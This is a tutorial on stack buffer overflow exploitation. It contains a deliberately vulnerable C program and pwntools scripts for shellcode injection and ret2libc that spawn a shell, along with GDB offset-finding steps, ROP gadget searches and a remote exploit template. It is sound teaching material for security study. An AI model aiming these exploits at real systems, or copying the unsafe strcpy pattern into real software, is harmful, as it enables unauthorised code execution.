Buffer Overflow
Overview
A stack buffer overflow occurs when a program writes more data into a stack-allocated buffer than it can hold. The excess data overwrites adjacent stack values — saved registers, the stack canary (if present), and the return address. By controlling the return address, an attacker redirects execution to arbitrary code.
ATT&CK Mapping
- Tactic: TA0002 - Execution
- Technique: T1203 - Exploitation for Client Execution
- Tactic: TA0004 - Privilege Escalation
- Technique: T1068 - Exploitation for Privilege Escalation
Prerequisites
- A binary with a stack buffer overflow (e.g.,
strcpy,gets,sprintfwith unchecked input) - Known or discoverable binary protections (run
checksec) - GDB with pwndbg for debugging
- pwntools for exploit scripting
Vulnerable Code Example
// vuln.c — compile with: gcc -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
#include <stdio.h>
#include <string.h>
void vulnerable(char *input) {
char buf[64];
strcpy(buf, input); // no bounds checking
printf("You said: %s\n", buf);
}
int main(int argc, char **argv) {
if (argc > 1) vulnerable(argv[1]);
return 0;
}
The strcpy call copies the entire input into a 64-byte buffer without
checking length. Any input longer than 64 bytes will overwrite the saved RBP
and return address.
Finding the Offset
The offset is the number of bytes from the start of the buffer to the saved return address. Two common methods:
Method 1: Cyclic Pattern (Metasploit)
# msf-pattern_create
# https://github.com/rapid7/metasploit-framework
# Generate a unique cyclic pattern
msf-pattern_create -l 200
Run the binary with the pattern in GDB. When it crashes, the value in RSP (or the faulting address) will be part of the pattern:
# GDB
# https://www.gnu.org/software/gdb/
gdb ./vuln
(gdb) run $(msf-pattern_create -l 200)
# After crash, check RSP or the segfault address
(gdb) info registers rsp
# msf-pattern_offset
# https://github.com/rapid7/metasploit-framework
# Find the offset from the pattern value
msf-pattern_offset -q <value_from_rsp>
Method 2: Cyclic Pattern (pwntools)
# pwntools
# https://github.com/Gallopsled/pwntools
from pwn import *
# Generate a cyclic pattern
pattern = cyclic(200)
print(pattern)
# After finding the value at RSP
offset = cyclic_find(0x61616166) # example: 'faaa' = offset 20
print(f"Offset: {offset}")
Method 3: Manual Calculation
From the disassembly, calculate the distance between the buffer and the return address:
# GDB
# https://www.gnu.org/software/gdb/
gdb ./vuln
(gdb) disassemble vulnerable
Look for the sub rsp, <size> instruction in the prologue. The buffer starts
at RSP (or an offset from RBP). The return address is at RBP + 8.
For the example above: buffer is at RBP - 0x40 (64 bytes), so the offset to
the saved RBP is 64 bytes, and the return address is at offset 72 (64 + 8 for
saved RBP).
Controlling the Return Address
Direct Shellcode Execution (NX Disabled)
When the stack is executable (-z execstack), inject shellcode directly:
# pwntools
# https://github.com/Gallopsled/pwntools
from pwn import *
context.binary = './vuln'
context.arch = 'amd64'
offset = 72 # buffer to return address
# Shellcode: execve("/bin/sh")
shellcode = asm(shellcraft.sh())
# Find the buffer address (from GDB: x/s $rsp after breakpoint)
buf_addr = 0x7fffffffe100 # adjust for your environment
payload = shellcode
payload += b'A' * (offset - len(shellcode))
payload += p64(buf_addr)
p = process(['./vuln', payload])
p.interactive()
ret2libc (NX Enabled, No PIE)
When NX is enabled, return to system() in libc instead of injected shellcode.
On x86-64, the first argument goes in RDI, so you need a pop rdi; ret gadget.
# pwntools
# https://github.com/Gallopsled/pwntools
from pwn import *
context.binary = elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
offset = 72
# Find gadgets and addresses (no PIE = fixed addresses)
# Use ROPgadget or ropper to find pop rdi; ret
pop_rdi = 0x401234 # replace with actual address from ROPgadget
ret = 0x40101a # ret gadget for stack alignment
# Need libc base — leak or disable ASLR for testing
# With ASLR off: libc base is constant
p = process('./vuln')
# Build payload
payload = b'A' * offset
payload += p64(ret) # stack alignment (16-byte)
payload += p64(pop_rdi)
payload += p64(next(libc.search(b'/bin/sh')))
payload += p64(libc.symbols['system'])
p.sendline(payload)
p.interactive()
Finding Gadgets
# ROPgadget
# https://github.com/JonathanSalwan/ROPgadget
# Search for pop rdi; ret
ROPgadget --binary ./vuln --only "pop|ret" | grep rdi
# Search for ret (stack alignment)
ROPgadget --binary ./vuln --only "ret"
# ropper
# https://github.com/sashs/ropper
ropper --file ./vuln --search "pop rdi"
Stack Alignment on x86-64
The System V ABI requires 16-byte stack alignment before a call instruction.
If the stack is misaligned when calling system() or other libc functions, the
function may crash with a segfault on a movaps instruction (which requires
16-byte aligned operands).
Fix: Insert an extra ret gadget before the function call to adjust the
stack by 8 bytes.
Debugging the Exploit
# GDB
# https://www.gnu.org/software/gdb/
# Run under GDB to debug exploit
gdb ./vuln
# Set breakpoints at key locations
(gdb) break vulnerable
(gdb) break *0x40116b # ret instruction
# Run with payload
(gdb) run $(python3 -c "print('A'*72 + 'BBBBBBBB')")
# Check if return address is overwritten
(gdb) x/10xg $rsp
# Verify RIP control
(gdb) si # step to ret, should jump to 0x4242424242424242
With pwndbg:
# pwndbg
# https://github.com/pwndbg/pwndbg
# Inside GDB with pwndbg:
pwndbg > cyclic 200 # generate pattern
pwndbg > run <pattern>
pwndbg > cyclic -l $rsp # find offset from crash
Full Exploit Template
# pwntools
# https://github.com/Gallopsled/pwntools
from pwn import *
# Configuration
context.binary = elf = ELF('./vuln')
context.log_level = 'info'
# Offset to return address
offset = 72
# Connect to target
# p = remote('target.com', 1337) # remote
p = process('./vuln') # local
# Build payload
payload = b'A' * offset
payload += p64(0xdeadbeef) # return address (replace)
# Send payload
p.sendline(payload)
p.interactive()
Common Unsafe Functions
| Function | Issue | Safer Alternative |
|---|---|---|
gets() |
No length limit | fgets() |
strcpy() |
No length limit | strncpy(), strlcpy() |
strcat() |
No length limit | strncat(), strlcat() |
sprintf() |
No length limit | snprintf() |
scanf("%s") |
No length limit | scanf("%63s") with width |
read() |
Safe if length correct | — |